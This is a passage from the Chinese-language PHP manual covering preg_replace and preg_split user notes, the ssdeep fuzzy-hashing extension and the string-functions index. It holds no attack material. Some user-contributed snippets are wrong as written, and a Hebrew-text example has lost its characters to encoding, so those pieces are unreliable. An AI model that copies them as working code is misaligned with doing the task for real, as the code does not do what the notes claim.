74 68 69 73 3b 0a 09 6e 6f 70 65 0d 0a 0d 0a 69 73 3b 68 75 67 65 0d 0a
I used F3 (viewer + options 3: hex) in mythical TOTAL COMMANDER!
=======================================================================
*/

echo '<hr><pre>';
echo  $txt_target;
echo '</pre>';

//  a single line '//' comments
$txt_target = preg_replace('![ \t]*//.*[ \t]*!', '', $txt_target);

//  /* comment */
$txt_target = preg_replace('/\/\*([^\/]*)\*\/(\s+)/smi', '', $txt_target);
echo '<hr><pre>';
echo  $txt_target;
echo '</pre><hr>';

file_put_contents('to_check_with_a_hex_viewer.txt',$txt_target);

?>
mail at johanvandemerwe dot nl 13-Nov-2019 12:41
Sample for replacing bracketed short-codes

The used short-codes are purely used for educational purposes for they could be shorter as in 'italic' to 'i' or 'bold' to 'b'.

Sample text
----
This sample shows how to have [italic]italic[/italic], [bold]bold[/bold] and [underline]underlined[/underline] and [strikethrough]striked[/striketrhough] text.

with this function:

<?php
function textDecoration($html)
{
    $patterns = [
        '/\[(italic)\].*?\[\/\1\] ?/',
        '/\[(bold)\].*?\[\/\1\] ?/',
        '/\[(underline)\].*?\[\/\1\] ?/'
    ];

    $replacements = [
        '<i>$1</i>',
        '<strong>$1</strong>',
        '<u>$1</u>'
    ];

    return preg_replace($patterns, $replacements, $html);
}

$html = textDecoration($html);

echo $html; // or return
?>

results in:
----
This sample shows how to have <i>italic</i>, <b>bold</b> and <u>underlined</u> and [strikethrough]striked[/striketrhough] text.

Notice!
There is no [strikethrough]striked[/striketrhough] fallback in the patterns and replacements array
bublifuk at mailinator dot com 30-May-2018 03:36
A delimiter can be any ASCII non-alphanumeric, non-backslash, non-whitespace character:  !"#$%&'*+,./:;=?@^_`|~-  and  ({[<>]})
nik at rolls dot cc 17-Mar-2013 10:14
To split Pascal/CamelCase into Title Case (for example, converting descriptive class names for use in human-readable frontends), you can use the below function:

<?php
function expandCamelCase($source) {
  return preg_replace('/(?<!^)([A-Z][a-z]|(?<=[a-z])[^a-z]|(?<=[A-Z])[0-9_])/', ' $1', $source);
}
?>

Before:
  ExpandCamelCaseAPIDescriptorPHP5_3_4Version3_21Beta
After:
  Expand Camel Case API Descriptor PHP 5_3_4 Version 3_21 Beta
me at perochak dot com 22-Feb-2011 09:57
If you would like to remove a tag along with the text inside it then use the following code.

<?php
preg_replace('/(<tag>.+?)+(<\/tag>)/i', '', $string);
?>

example
<?php $string='<span class="normalprice">55 PKR</span>'; ?>

<?php
$string = preg_replace('/(<span class="normalprice">.+?)+(<\/span>)/i', '', $string);
?>

This will results a null or empty string.

<?php
$string='My String <span class="normalprice">55 PKR</span>';

$string = preg_replace('/(<span class="normalprice">.+?)+(<\/span>)/i', '', $string);
?>

This will results a " My String"
arkani at iol dot pt 04-Mar-2009 11:00
Because i search a lot 4 this:

The following should be escaped if you are trying to match that character

\ ^ . $ | ( ) [ ]
* + ? { } ,

Special Character Definitions
\ Quote the next metacharacter
^ Match the beginning of the line
. Match any character (except newline)
$ Match the end of the line (or before newline at the end)
| Alternation
() Grouping
[] Character class
* Match 0 or more times
+ Match 1 or more times
? Match 1 or 0 times
{n} Match exactly n times
{n,} Match at least n times
{n,m} Match at least n but not more than m times
More Special Character Stuff
\t tab (HT, TAB)
\n newline (LF, NL)
\r return (CR)
\f form feed (FF)
\a alarm (bell) (BEL)
\e escape (think troff) (ESC)
\033 octal char (think of a PDP-11)
\x1B hex char
\c[ control char
\l lowercase next char (think vi)
\u uppercase next char (think vi)
\L lowercase till \E (think vi)
\U uppercase till \E (think vi)
\E end case modification (think vi)
\Q quote (disable) pattern metacharacters till \E
Even More Special Characters
\w Match a "word" character (alphanumeric plus "_")
\W Match a non-word character
\s Match a whitespace character
\S Match a non-whitespace character
\d Match a digit character
\D Match a non-digit character
\b Match a word boundary
\B Match a non-(word boundary)
\A Match only at beginning of string
\Z Match only at end of string, or before newline at the end
\z Match only at end of string
\G Match only where previous m//g left off (works only with /g)
php-comments-REMOVE dot ME at dotancohen dot com 29-Feb-2008 12:02
Below is a function for converting Hebrew final characters to their
normal equivelants should they appear in the middle of a word.
The /b argument does not treat Hebrew letters as part of a word,
so I had to work around that limitation.

<?php

$text="????? ???????";

function hebrewNotWordEndSwitch ($from, $to, $text) {
   $text=
    preg_replace('/'.$from.'([?-?])/u','$2'.$to.'$1',$text);
   return $text;
}

do {
   $text_before=$text;
   $text=hebrewNotWordEndSwitch("?","?",$text);
   $text=hebrewNotWordEndSwitch("?","?",$text);
   $text=hebrewNotWordEndSwitch("?","?",$text);
   $text=hebrewNotWordEndSwitch("?","?",$text);
   $text=hebrewNotWordEndSwitch("?","?",$text);
}   while ( $text_before!=$text );

print $text; // ????? ??????!

?>

The do-while is necessary for multiple instances of letters, such
as "????" which would start off as "????". Note that there's still the
problem of acronyms with gershiim but that's not a difficult one
to solve. The code is in use at http://gibberish.co.il which you can
use to translate wrongly-encoded Hebrew, transliterize, and some
other Hebrew-related functions.

To ensure that there will be no regular characters at the end of a
word, just convert all regular characters to their final forms, then
run this function. Enjoy!
sternkinder at gmail dot com 24-Aug-2007 03:10
From what I can see, the problem is, that if you go straight and substitute all 'A's wit 'T's you can't tell for sure which 'T's to substitute with 'A's afterwards. This can be for instance solved by simply replacing all 'A's by another character (for instance '_' or whatever you like), then replacing all 'T's by 'A's, and then replacing all '_'s (or whatever character you chose) by 'A's:

<?php
$dna = "AGTCTGCCCTAG";
echo str_replace(array("A","G","C","T","_","-"), array("_","-","G","A","T","C"), $dna); //output will be TCAGACGGGATC
?>

Although I don't know how transliteration in perl works (though I remember that is kind of similar to the UNIX command "tr") I would suggest following function for "switching" single chars:

<?php
function switch_chars($subject,$switch_table,$unused_char="_") {
    foreach ( $switch_table as $_1 => $_2 ) {
        $subject = str_replace($_1,$unused_char,$subject);
        $subject = str_replace($_2,$_1,$subject);
        $subject = str_replace($unused_char,$_2,$subject);
    }
    return $subject;
}

echo switch_chars("AGTCTGCCCTAG", array("A"=>"T","G"=>"C")); //output will be TCAGACGGGATC
?>
ismith at nojunk dot motorola dot com 21-Mar-2007 09:47
Be aware that when using the "/u" modifier, if your input text contains any bad UTF-8 code sequences, then preg_replace will return an empty string, regardless of whether there were any matches.

This is due to the PCRE library returning an error code if the string contains bad UTF-8.


通过一个正则表达式分隔字符串

  • ? preg_replace
  • ssdeep ?
  • PHP Manual
  • PCRE 函数
  • 通过一个正则表达式分隔字符串

preg_split

(PHP 4, PHP 5, PHP 7, PHP 8)

preg_split — 通过一个正则表达式分隔字符串

说明

preg_split(
string $pattern,
string $subject,
int $limit = -1,
int $flags = 0
): array|false

通过一个正则表达式分隔给定字符串.

参数

pattern

用于搜索的模式，字符串形式。

subject

输入字符串

limit

如果指定，将限制分隔得到的子串最多只有limit个，返回的最后一个 子串将包含所有剩余部分。limit值为-1， 0或null时都代表"不限制"。

flags

flags 可以是任何下面标记的组合(以位或运算 | 组合)：

PREG_SPLIT_NO_EMPTY
如果这个标记被设置， preg_split() 将仅返回分隔后的非空部分。
PREG_SPLIT_DELIM_CAPTURE
如果这个标记设置了，用于分隔的模式中的括号表达式将被捕获并返回。
PREG_SPLIT_OFFSET_CAPTURE

如果这个标记被设置, 对于每一个出现的匹配返回时将会附加字符串偏移量. 注意：这将会改变返回数组中的每一个元素, 使其每个元素成为一个由第0 个元素为分隔后的子串，第1个元素为该子串在subject 中的偏移量组成的数组。

返回值

返回一个使用 pattern 边界分隔 subject 后得到 的子串组成的数组， 或者在失败时返回 false。

错误／异常

如果传递的正则表达式无法正常解析，会发出 E_WARNING。

示例

Example #1 preg_split()示例：获取搜索字符串的部分

<?php
//使用逗号或空格(包含" ", \r, \t, \n, \f)分隔短语
$keywords = preg_split("/[\s,]+/", "hypertext language, programming");
print_r($keywords);
?>

以上示例会输出：

Array
(
    [0] => hypertext
    [1] => language
    [2] => programming
)

Example #2 将一个字符串分隔为组成它的字符

<?php
$str = 'string';
$chars = preg_split('//', $str, -1, PREG_SPLIT_NO_EMPTY);
print_r($chars);
?>

以上示例会输出：

Array
(
    [0] => s
    [1] => t
    [2] => r
    [3] => i
    [4] => n
    [5] => g
)

Example #3 分隔一个字符串并获取每部分的偏移量

<?php
$str = 'hypertext language programming';
$chars = preg_split('/ /', $str, -1, PREG_SPLIT_OFFSET_CAPTURE);
print_r($chars);
?>

以上示例会输出：

Array
(
    [0] => Array
        (
            [0] => hypertext
            [1] => 0
        )

    [1] => Array
        (
            [0] => language
            [1] => 10
        )

    [2] => Array
        (
            [0] => programming
            [1] => 19
        )

)

注释

Tip

如果你不需要正则表达式功能，可以有更快(并且更简单)的选择比如 explode() 或 str_split()。

Tip

如果没有成功匹配，将会返回一个数组，包含了单个元素，即输入的字符串。

参见

  • PCRE 模式
  • preg_quote() - 转义正则表达式字符
  • implode() - 用字符串连接数组元素
  • preg_match() - 执行匹配正则表达式
  • preg_match_all() - 执行一个全局正则表达式匹配
  • preg_replace() - 执行一个正则表达式的搜索和替换
  • preg_last_error() - 返回最后一个PCRE正则执行产生的错误代码

User Contributed Notes

Walf 01-Jun-2022 08:45
Using PREG_SPLIT_DELIM_CAPTURE without PREG_SPLIT_NO_EMPTY guarantees that all the odd-numbered keys in the result will contain the delimiters. This makes further processing more predictable, and empty strings can always be filtered out at the end.
dewi at dewimorgan dot com 20-Oct-2021 07:35
Beware that it is not safe to assume there are no empty values returned by PREG_SPLIT_NO_EMPTY, nor that you will see no delimiters if you use PREG_SPLIT_DELIM_CAPTURE, as there are some edge cases where these are not true.

<?php
# As expected, splitting a string by itself returns two empty strings:
var_export(preg_split("/x/", "x"));

array (
  0 => '',
  1 => '',
)

# But if we add PREG_SPLIT_NO_EMPTY, then instead of an empty array, we get the delimiter.
var_export(preg_split("/x/", "x", PREG_SPLIT_NO_EMPTY));

array (
  0 => 'x',
)

And if we try to split an empty string, then instead of an empty array, we get an empty string even with PREG_SPLIT_NO_EMPTY.
var_export(preg_split("/x/", "", PREG_SPLIT_NO_EMPTY));

array (
  0 => '',
)
?>
Hayley Watson 01-Sep-2019 03:02
Assuming you're using UTF-8, this function can be used to separate Unicode text into individual codepoints without the need for the multibyte extension.

<?php

preg_split('//u', $text, -1, PREG_SPLIT_NO_EMPTY);

?>

The words "English", "Espa?ol", and "Русский" are all seven letters long. But strlen would report string lengths 7, 8 and 14, respectively. The preg_split above would return a seven-element array in all three cases.

It splits '???' into the array ['?', '?', '?'] instead of the 9-character array that str_split($text) would produce.
php at haravikk dot me 11-Nov-2016 03:24
When using the PREG_SPLIT_OFFSET_CAPTURE option you will end up with all results in a single array, which is often undesirable as it means you then have to filter out any delimiters you wanted to check for but not keep.

To get around this you can instead use preg_match_all() to perform the split. For comparison, here are two examples, both splitting around colon and semi-colon characters:

<?php $pieces_with_delimiters = preg_split('/[;:]/', $input, -1, PREG_SPLIT_OFFSET_CAPTURE); ?>

<?php preg_match_all('/([^;:]*)([;:]|$)/', $input, $matches);
list(, $pieces, $delimiters) = $matches ?>

The latter requires a more complex pattern, but produces a much more convenient set of results to work with, depending upon what you want to do with them.
canadian dot in dot exile at gmail dot com 18-Nov-2015 12:27
This regular expression will split a long string of words into an array of sub-strings, of some maximum length, but only on word-boundries.

I use the reg-ex with preg_match_all(); but, I'm posting this example here (on the page for preg_split()) because that's where I looked when I wanted to find a way to do this.

Hope it saves someone some time.

<?php
// example of a long string of words
$long_string = 'Your IP Address will be logged with the submitted note and made public on the PHP manual user notes mailing list. The IP address is logged as part of the notes moderation process, and won\'t be shown within the PHP manual itself.';

// "word-wrap" at, for example, 60 characters or less
$max_len = 60;

// this regular expression will split $long_string on any sub-string of
// 1-or-more non-word characters (spaces or punctuation)
if(preg_match_all("/.{1,{$max_len}}(?=\W+)/", $long_string, $lines) !== False) {

    // $lines now contains an array of sub-strings, each will be approx.
    // $max_len characters - depending on where the last word ended and
    // the number of 'non-word' characters found after the last word
    for ($i=0; $i < count($lines[0]); $i++) {
        echo "[$i] {$lines[0][$i]}\n";
    }
}
?>
markac 11-Jan-2015 04:08
Split string into words.

<?php
$string = 'This - is a, very dirty "string" :-)';

// split into words
$wordlist = preg_split('/\W/', $string, 0, PREG_SPLIT_NO_EMPTY);

// returns only words that have minimum 2 chars
$wordlist = array_filter($wordlist, function($val) {
  return strlen($val) >= 2;
});

// print
var_dump($wordlist);
?>

Result:

array (size=5)
  0 => string 'This' (length=4)
  1 => string 'is' (length=2)
  3 => string 'very' (length=4)
  4 => string 'dirty' (length=5)
  5 => string 'string' (length=6)
Miller 24-Feb-2014 05:25
This is a function to truncate a string of text while preserving the whitespace (for instance, getting an excerpt from an article while maintaining newlines). It will not jive well with HTML, of course.

<?php
/**
 * Truncates a string of text by word count
 * @param string $text The text to truncate
 * @param int $max_words The maximum number of words
 * @return string The truncated text
 */
function limit_words ($text, $max_words) {
    $split = preg_split('/(\s+)/', $text, -1, PREG_SPLIT_DELIM_CAPTURE);
    $truncated = '';
    for ($i = 0; $i < min(count($split), $max_words*2); $i += 2) {
        $truncated .= $split[$i].$split[$i+1];
    }
    return trim($truncated);
}
?>
david dot binovec at gmail dot com 26-Jun-2011 06:38
Limit = 1 may be confusing. The important thing is that in case of limit equals to 1 will produce only ONE substring. Ergo the only one substring will be the first one as well as the last one. Tnat the rest of the string (after the first delimiter) will be placed to the last substring. But last is the first and only one.

<?php

$output = $preg_split('(/ /)', '1 2 3 4 5 6 7 8', 1);

echo $output[0] //will return whole string!;

$output = $preg_split('(/ /)', '1 2 3 4 5 6 7 8', 2);

echo $output[0] //will return 1;
echo $output[1] //will return '2 3 4 5 6 7 8';

?>
eric at clarinova dot com 24-Jun-2011 03:04
Here is another way to split a CamelCase string, which is a simpler expression than the one using lookaheads and lookbehinds:

preg_split('/([[:upper:]][[:lower:]]+)/', $last, null, PREG_SPLIT_DELIM_CAPTURE|PREG_SPLIT_NO_EMPTY)

It makes the entire CamelCased word the delimiter, then returns the delimiters (PREG_SPLIT_DELIM_CAPTURE) and omits the empty values between the delimiters (PREG_SPLIT_NO_EMPTY)
PhoneixSegovia at gmail dot com 26-Nov-2010 04:38
You must be caution when using lookbehind to a variable match.
For example:
'/(?<!\\\)\r?\n)/'
 to match a new line when not \ is before it don't go as spected as it match \r as the lookbehind (becouse isn't a \) and is optional before \n.

You must use this for example:
'/((?<!\\\|\r)\n)|((?<!\\\)\r\n)/'
That match a alone \n (not preceded by \r or \) or a \r\n not preceded by a \.
Daniel Schroeder 03-Nov-2010 03:46
If you want to split by a char, but want to ignore that char in case it is escaped, use a lookbehind assertion.

In this example a string will be split by ":" but "\:" will be ignored:

<?php
$string='a:b:c\:d';
$array=preg_split('#(?<!\\\)\:#',$string);
print_r($array);
?>

Results into:

Array
(
    [0] => a
    [1] => b
    [2] => c\:d
)
jan dot sochor at icebolt dot info 24-Oct-2009 03:26
Sometimes PREG_SPLIT_DELIM_CAPTURE does strange results.

<?php
$content = '<strong>Lorem ipsum dolor</strong> sit <img src="test.png" />amet <span class="test" style="color:red">consec<i>tet</i>uer</span>.';
$chars = preg_split('/<[^>]*[^\/]>/i', $content, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
print_r($chars);
?>
Produces:
Array
(
    [0] => Lorem ipsum dolor
    [1] =>  sit <img src="test.png" />amet
    [2] => consec
    [3] => tet
    [4] => uer
)

So that the delimiter patterns are missing. If you wanna get these patters remember to use parentheses.

<?php
$chars = preg_split('/(<[^>]*[^\/]>)/i', $content, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
print_r($chars); //parentheses added
?>
Produces:
Array
(
    [0] => <strong>
    [1] => Lorem ipsum dolor
    [2] => </strong>
    [3] =>  sit <img src="test.png" />amet
    [4] => <span class="test" style="color:red">
    [5] => consec
    [6] => <i>
    [7] => tet
    [8] => </i>
    [9] => uer
    [10] => </span>
    [11] => .
)
php at dmi dot me dot uk 06-Oct-2009 01:23
To split a camel-cased string using preg_split() with lookaheads and lookbehinds:

<?php
function splitCamelCase($str) {
  return preg_split('/(?<=\\w)(?=[A-Z])/', $str);
}
?>
buzoganylaszlo at yahoo dot com 01-Aug-2009 12:57
Extending m.timmermans's solution, you can use the following code as a search expression parser:

<?php
$search_expression = "apple bear \"Tom Cruise\" or 'Mickey Mouse' another word";
$words = preg_split("/[\s,]*\\\"([^\\\"]+)\\\"[\s,]*|" . "[\s,]*'([^']+)'[\s,]*|" . "[\s,]+/", $search_expression, 0, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
print_r($words);
?>

The result will be:
Array
(
    [0] => apple
    [1] => bear
    [2] => Tom Cruise
    [3] => or
    [4] => Mickey Mouse
    [5] => another
    [6] => word
)

1. Accepted delimiters: white spaces (space, tab, new line etc.) and commas.

2. You can use either simple (') or double (") quotes for expressions which contains more than one word.
kenorb at gmail dot com 23-May-2009 07:56
If you need convert function arguments without default default values and references, you can try this code:

<?php
    $func_args = '$node, $op, $a3 = NULL, $form = array(), $a4 = NULL'
    $call_arg = preg_match_all('@(?<func_arg>\$[^,= ]+)@i', $func_args, $matches);
    $call_arg = implode(',', $matches['func_arg']);
?>
Result: string = "$node,$op,$a3,$form,$a4"
csaba at alum dot mit dot edu 17-Mar-2009 01:06
If the task is too complicated for preg_split, preg_match_all might come in handy, since preg_split is essentially a special case.

I wanted to split a string on a certain character (asterisk), but only if it wasn't escaped (by a preceding backslash).  Thus, I should ensure an even number of backslashes before any asterisk meant as a splitter.  Look-behind in a regular expression wouldn't work since the length of the preceding backslash sequence can't be fixed.  So I turned to preg_match_all:

<?php
// split a string at unescaped asterisks
// where backslash is the escape character
$splitter = "/\\*((?:[^\\\\*]|\\\\.)*)/";
preg_match_all($splitter, "*$string", $aPieces, PREG_PATTERN_ORDER);
$aPieces = $aPieces[1];

// $aPieces now contains the exploded string
// and unescaping can be safely done on each piece
foreach ($aPieces as $idx=>$piece)
  $aPieces[$idx] = preg_replace("/\\\\(.)/s", "$1", $piece);
?>
Steve 23-Mar-2005 08:41
preg_split() behaves differently from perl's split() if the string ends with a delimiter. This perl snippet will print 5:

my @a = split(/ /, "a b c d e ");
print scalar @a;

The corresponding php code prints 6:

<?php print count(preg_split("/ /", "a b c d e ")); ?>

This is not necessarily a bug (nowhere does the documentation say that preg_split() behaves the same as perl's split()) but it might surprise perl programmers.
jetsoft at iinet.net.au 25-Sep-2004 08:01
To clarify the "limit" parameter and the PREG_SPLIT_DELIM_CAPTURE option,

<?php
$preg_split('(/ /)', '1 2 3 4 5 6 7 8', 4 ,PREG_SPLIT_DELIM_CAPTURE );
?>

returns:

('1', ' ', '2', ' ' , '3', ' ', '4 5 6 7 8')

So you actually get 7 array items not 4


ssdeep Fuzzy Hashing

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • ssdeep 函数
    • ssdeep_fuzzy_compare — Calculates the match score between two fuzzy hash signatures
    • ssdeep_fuzzy_hash_filename — Create a fuzzy hash from a file
    • ssdeep_fuzzy_hash — Create a fuzzy hash from a string

User Contributed Notes

There are no user contributed notes for this page.


简介

ssdeep is a utility for creating and comparing fuzzy hashes or » context-triggered piecewise hashing.

Fuzzy hashing can match signatures which have "...sequences of identical bytes in the same order, although bytes in between these sequences may be different in both content and length". (» ssdeep project page)

This extension provides functions for creating and comparing fuzzy hashes.

User Contributed Notes

There are no user contributed notes for this page.


需求

This extension requires the » ssdeep library.

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/ssdeep.

User Contributed Notes

1manfactory at gmail dot com 06-Nov-2016 12:01
How to install ssdeep for PHP

- wget http://downloads.sourceforge.net/project/ssdeep/ssdeep-2.13/ssdeep-2.13.tar.gz
- tar zxvf ssdeep-2.13.tar.gz
- cd ssdeep-2.13
- ./configure
- make
- sudo make install
- ssdeep -h # test
- sudo pecl install ssdeep
- sudo sh -c "echo 'extension=ssdeep.so' >> /etc/php5/mods-available/ssdeep.ini"
- sudo php5enmod ssdeep
- sudo service apache2 restart


ssdeep 函数

Table of Contents

  • ssdeep_fuzzy_compare — Calculates the match score between two fuzzy hash signatures
  • ssdeep_fuzzy_hash_filename — Create a fuzzy hash from a file
  • ssdeep_fuzzy_hash — Create a fuzzy hash from a string

User Contributed Notes

There are no user contributed notes for this page.


Calculates the match score between two fuzzy hash signatures

  • ? ssdeep 函数
  • ssdeep_fuzzy_hash_filename ?
  • PHP Manual
  • ssdeep 函数
  • Calculates the match score between two fuzzy hash signatures

ssdeep_fuzzy_compare

(PECL ssdeep >= 1.0.0)

ssdeep_fuzzy_compare — Calculates the match score between two fuzzy hash signatures

说明

ssdeep_fuzzy_compare(string $signature1, string $signature2): int

Calculates the match score between signature1 and signature2 using » context-triggered piecewise hashing, and returns the match score.

参数

signature1

The first fuzzy hash signature string.

signature2

The second fuzzy hash signature string.

返回值

Returns an integer from 0 to 100 on success, false otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Create a fuzzy hash from a file

  • ? ssdeep_fuzzy_compare
  • ssdeep_fuzzy_hash ?
  • PHP Manual
  • ssdeep 函数
  • Create a fuzzy hash from a file

ssdeep_fuzzy_hash_filename

(PECL ssdeep >= 1.0.0)

ssdeep_fuzzy_hash_filename — Create a fuzzy hash from a file

说明

ssdeep_fuzzy_hash_filename(string $file_name): string

ssdeep_fuzzy_hash_filename() calculates the hash of the file specified by file_name using » context-triggered piecewise hashing, and returns that hash.

参数

file_name

The filename of the file to hash.

返回值

Returns a string on success, false otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Create a fuzzy hash from a string

  • ? ssdeep_fuzzy_hash_filename
  • 字符串 ?
  • PHP Manual
  • ssdeep 函数
  • Create a fuzzy hash from a string

ssdeep_fuzzy_hash

(PECL ssdeep >= 1.0.0)

ssdeep_fuzzy_hash — Create a fuzzy hash from a string

说明

ssdeep_fuzzy_hash(string $to_hash): string

ssdeep_fuzzy_hash() calculates the hash of to_hash using » context-triggered piecewise hashing, and returns that hash.

参数

to_hash

The input string.

返回值

Returns a string on success, false otherwise.

User Contributed Notes

There are no user contributed notes for this page.


字符串

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 字符串 函数
    • addcslashes — 以 C 语言风格使用反斜线转义字符串中的字符
    • addslashes — 使用反斜线引用字符串
    • bin2hex — 将二进制数据转换为十六进制表示
    • chop — rtrim 的别名
    • chr — 从数字生成单字节字符串
    • chunk_split — 将字符串分割成小块
    • convert_cyr_string — 将字符由一种 Cyrillic 字符转换成另一种
    • convert_uudecode — 解码一个 uuencode 编码的字符串
    • convert_uuencode — 使用 uuencode 编码一个字符串
    • count_chars — 返回字符串所用字符的信息
    • crc32 — 计算一个字符串的 crc32 多项式
    • crypt — 单向字符串散列
    • echo — 输出一个或多个字符串
    • explode — 使用一个字符串分割另一个字符串
    • fprintf — 将格式化后的字符串写入到流
    • get_html_translation_table — 返回使用 htmlspecialchars 和 htmlentities 后的转换表
    • hebrev — 将逻辑顺序希伯来文（logical-Hebrew）转换为视觉顺序希伯来文（visual-Hebrew）
    • hebrevc — 将逻辑顺序希伯来文（logical-Hebrew）转换为视觉顺序希伯来文（visual-Hebrew），并且转换换行符
    • hex2bin — 转换十六进制字符串为二进制字符串
    • html_entity_decode — Convert HTML entities to their corresponding characters
    • htmlentities — 将字符转换为 HTML 转义字符
    • htmlspecialchars_decode — 将特殊的 HTML 实体转换回普通字符
    • htmlspecialchars — 将特殊字符转换为 HTML 实体
    • implode — 用字符串连接数组元素
    • join — 别名 implode
    • lcfirst — 使字符串的第一个字符小写
    • levenshtein — 计算两个字符串之间的 Levenshtein 距离
    • localeconv — Get numeric formatting information
    • ltrim — 删除字符串开头的空白字符（或其他字符）
    • md5_file — 计算指定文件的 MD5 散列值
    • md5 — 计算字符串的 MD5 散列值
    • metaphone — Calculate the metaphone key of a string
    • money_format — 将数字格式化成货币字符串
    • nl_langinfo — Query language and locale information
    • nl2br — 在字符串所有新行之前插入 HTML 换行标记
    • number_format — 以千位分隔符方式格式化一个数字
    • ord — 转换字符串第一个字节为 0-255 之间的值
    • parse_str — 将字符串解析成多个变量
    • print — 输出字符串
    • printf — 输出格式化字符串
    • quoted_printable_decode — 将 quoted-printable 字符串转换为 8-bit 字符串
    • quoted_printable_encode — 将 8-bit 字符串转换成 quoted-printable 字符串
    • quotemeta — 转义元字符集
    • rtrim — 删除字符串末端的空白字符（或者其他字符）
    • setlocale — 设置区域信息
    • sha1_file — 计算文件的 sha1 散列值
    • sha1 — 计算字符串的 sha1 散列值
    • similar_text — 计算两个字符串的相似度
    • soundex — Calculate the soundex key of a string
    • sprintf — 返回格式化字符串
    • sscanf — 根据指定格式解析输入的字符
    • str_contains — 确定字符串是否包含指定子串
    • str_decrement — Decrement an alphanumeric string
    • str_ends_with — 检查字符串是否以指定子串结尾
    • str_getcsv — 解析 CSV 字符串为一个数组
    • str_increment — Increment an alphanumeric string
    • str_ireplace — str_replace 的忽略大小写版本
    • str_pad — 使用另一个字符串填充字符串为指定长度
    • str_repeat — 重复一个字符串
    • str_replace — 子字符串替换
    • str_rot13 — 对字符串执行 ROT13 转换
    • str_shuffle — 随机打乱一个字符串
    • str_split — 将字符串转换为数组
    • str_starts_with — 检查字符串是否以指定子串开头
    • str_word_count — 返回字符串中单词的使用情况
    • strcasecmp — 二进制安全比较字符串（不区分大小写）
    • strchr — 别名 strstr
    • strcmp — 二进制安全字符串比较
    • strcoll — 基于区域设置的字符串比较
    • strcspn — 获取不匹配遮罩的起始子字符串的长度
    • strip_tags — 从字符串中去除 HTML 和 PHP 标签
    • stripcslashes — 反引用一个使用 addcslashes 转义的字符串
    • stripos — 查找字符串首次出现的位置（不区分大小写）
    • stripslashes — 反引用一个引用字符串
    • stristr — strstr 函数的忽略大小写版本
    • strlen — 获取字符串长度
    • strnatcasecmp — 使用“自然顺序”算法比较字符串（不区分大小写）
    • strnatcmp — 使用自然排序算法比较字符串
    • strncasecmp — 二进制安全比较字符串开头的若干个字符（不区分大小写）
    • strncmp — 二进制安全比较字符串开头的若干个字符
    • strpbrk — 在字符串中查找一组字符的任何一个字符
    • strpos — 查找字符串首次出现的位置
    • strrchr — 查找指定字符在字符串中的最后一次出现
    • strrev — 反转字符串
    • strripos — 计算指定字符串在目标字符串中最后一次出现的位置（不区分大小写）
    • strrpos — 计算指定字符串在目标字符串中最后一次出现的位置
    • strspn — 计算字符串中全部字符都存在于指定字符集合中的第一段子串的长度
    • strstr — 查找字符串的首次出现
    • strtok — 标记分割字符串
    • strtolower — 将字符串转化为小写
    • strtoupper — 将字符串转化为大写
    • strtr — 转换字符或替换字串
    • substr_compare — 二进制安全比较字符串（从偏移位置比较指定长度）
    • substr_count — 计算字串出现的次数
    • substr_replace — 替换字符串的子串
    • substr — 返回字符串的子串
    • trim — 去除字符串首尾处的空白字符（或者其他字符）
    • ucfirst — 将字符串的首字母转换为大写
    • ucwords — 将字符串中每个单词的首字母转换为大写
    • utf8_decode — 将字符串从 UTF-8 转换为 ISO-8859-1，替换无效或者无法表示的字符。
    • utf8_encode — 将字符串从 ISO-8859-1 转换为 UTF-8 编码
    • vfprintf — 将格式化字符串写入流
    • vprintf — 输出格式化字符串
    • vsprintf — 返回格式化字符串
    • wordwrap — 打断字符串为指定数量的字串
  • 更新日志

User Contributed Notes

There are no user contributed notes for this page.


简介

这些都是以各种方式处理字符串的函数。还有一些专门的章节位于正则表达式和 URL 处理部分。

关于字符串的运转机制，特别是关于单引号、双引号、转义序列的信息，参见本手册的字符串条目，其位于手册中的类型章节。

User Contributed Notes

There are no user contributed notes for this page.


安装

使用这些函数不需要安装，它们是 PHP 核心的一部分。

自 PHP 8.1.0 起，可以通过指定 --with-external-libcrypt 配置项来针对系统 crypt 库构建 crypt()。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

CRYPT_SALT_LENGTH (int)
CRYPT_STD_DES (int)
表示 crypt() 是否支持基于 DES 的标准散列。始终是 1。
CRYPT_EXT_DES (int)
表示 crypt() 是否支持基于 DES 的扩展散列。始终是 1。
CRYPT_MD5 (int)
表示 crypt() 是否支持 MD5 散列。始终是 1。
CRYPT_BLOWFISH (int)
表示 crypt() 是否支持 Blowfish 散列。始终是 1。
CRYPT_SHA256 (int)
表示 crypt() 是否支持 SHA-256 散列。始终是 1。
CRYPT_SHA512 (int)
表示 crypt() 是否支持 SHA-512 散列。始终是 1。
HTML_SPECIALCHARS ((int))
HTML_ENTITIES ((int))
ENT_COMPAT ((int))
ENT_QUOTES ((int))
ENT_NOQUOTES ((int))
ENT_IGNORE ((int))
ENT_SUBSTITUTE ((int))
ENT_DISALLOWED ((int))
ENT_HTML401 ((int))
ENT_XML1 ((int))
ENT_XHTML ((int))
ENT_HTML5 ((int))
CHAR_MAX ((int))
LC_CTYPE ((int))
LC_NUMERIC ((int))
LC_TIME ((int))
LC_COLLATE ((int))
LC_MONETARY ((int))
LC_ALL ((int))
LC_MESSAGES ((int))
STR_PAD_LEFT ((int))
STR_PAD_RIGHT ((int))
STR_PAD_BOTH ((int))

User Contributed Notes

There are no user contributed notes for this page.


字符串 函数

参见

更多强大的字符串处理函数，参见 Perl 兼容正则表达式函数。需要处理多字节字符集，参见多字节字符函数。

Table of Contents

  • addcslashes — 以 C 语言风格使用反斜线转义字符串中的字符
  • addslashes — 使用反斜线引用字符串
  • bin2hex — 将二进制数据转换为十六进制表示
  • chop — rtrim 的别名
